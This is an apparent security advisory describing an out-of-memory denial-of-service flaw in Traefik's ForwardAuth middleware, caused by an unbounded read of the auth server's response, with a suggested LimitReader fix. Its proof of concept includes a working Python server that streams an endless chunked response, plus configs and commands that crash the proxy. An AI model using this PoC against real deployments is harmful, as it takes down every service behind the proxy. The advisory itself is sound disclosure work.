Summary

The ForwardAuth middleware reads the entire authentication server response body into memory using io.ReadAll with no size limit. A single HTTP request through a ForwardAuth-protected route can cause the Traefik process to allocate gigabytes of memory and be killed by the OOM killer, resulting in complete denial of service for all routes on the affected entrypoint.

Details

In pkg/middlewares/auth/forward.go, line 213:

body, readError := io.ReadAll(forwardResponse.Body)

When the ForwardAuth middleware receives a response from the configured authentication server, it calls io.ReadAll on the response body without any size constraint. If the auth server returns a large or infinite chunked response, Traefik will attempt to buffer the entire body in memory until the process is killed.

Traefik already recognizes this class of risk for the request body direction. When forwardBody: true is configured without maxBodySize, a warning is logged (line 91-94):

logger.Warn().Msgf("ForwardAuth 'maxBodySize' is not configured with 'forwardBody: true', allowing unlimited request body size ...")

However, the response body path has no equivalent protection — no configuration option, no warning, and no default limit. The HTTP client has a 30-second timeout (line 102), but a streaming response can deliver hundreds of megabytes per second within that window.

PoC

1. Create a malicious auth server (auth_infinite.py):

   from http.server import BaseHTTPRequestHandler, HTTPServer

   class InfiniteAuth(BaseHTTPRequestHandler):
   def do_GET(self):
   self.send_response(200)
   self.send_header("Transfer-Encoding", "chunked")
   self.end_headers()
   chunk = b"A" * (64 * 1024)
   try:
   while True:
   self.wfile.write(f"{len(chunk):x}\r\n".encode())
   self.wfile.write(chunk + b"\r\n")
   self.wfile.flush()
   except BrokenPipeError:
   pass

   HTTPServer(("0.0.0.0", 9000), InfiniteAuth).serve_forever()

2. Traefik dynamic config (dynamic.yml):

   http:
   routers:
   protected:
   entryPoints: [web]
   rule: "PathPrefix('/admin')"
   middlewares: [auth]
   service: whoami
   middlewares:
   auth:
   forwardAuth:
   address: "http://auth:9000/auth"
   services:
   whoami:
   loadBalancer:
   servers:
   - url: "http://whoami:80"

3. Docker Compose (docker-compose.yml):

   services:
   traefik:
   image: traefik:v3.6
   command:
   - --entrypoints.web.address=:8000
   - --providers.file.filename=/etc/traefik/dynamic.yml
   ports:
   - "8000:8000"
   volumes:
   - ./dynamic.yml:/etc/traefik/dynamic.yml:ro
   deploy:
   resources:
   limits:
   memory: 512M
   depends_on: [auth, whoami]
   auth:
   image: python:3.12-slim
   command: ["python", "/app/auth_infinite.py"]
   volumes:
   - ./auth_infinite.py:/app/auth_infinite.py:ro
   whoami:
   image: traefik/whoami:v1.11

4. Reproduce:

   docker compose up -d
   docker stats --no-stream traefik # ~14 MiB
   curl -s -o /dev/null http://localhost:8000/admin
   docker inspect traefik --format '{{.State.OOMKilled}}' # true
   docker inspect traefik --format '{{.State.ExitCode}}' # 137 (SIGKILL)

Observed results:

After OOM kill, all routes on the entrypoint become unreachable — complete service outage.

Impact

This is a denial-of-service vulnerability. Any Traefik instance using the ForwardAuth middleware is affected. A single HTTP request can crash the Traefik process, causing a full outage for all services behind the affected entrypoint.

Realistic attack scenarios include:

• Multi-tenant platforms where tenants configure their own ForwardAuth endpoints (SaaS, PaaS, Kubernetes ingress controllers)
• Compromised or buggy auth servers that return unexpected large responses
• Defense in depth: even trusted auth servers should not be able to crash the proxy

Suggested Fix

Apply io.LimitReader to the auth response body, mirroring the existing maxBodySize pattern for request bodies:

const defaultMaxAuthResponseSize int64 = 1 << 20 // 1 MiB
limitedBody := io.LimitReader(forwardResponse.Body, defaultMaxAuthResponseSize)
body, readError := io.ReadAll(limitedBody)

Optionally expose a maxResponseBodySize configuration option for operators who need larger auth response bodies.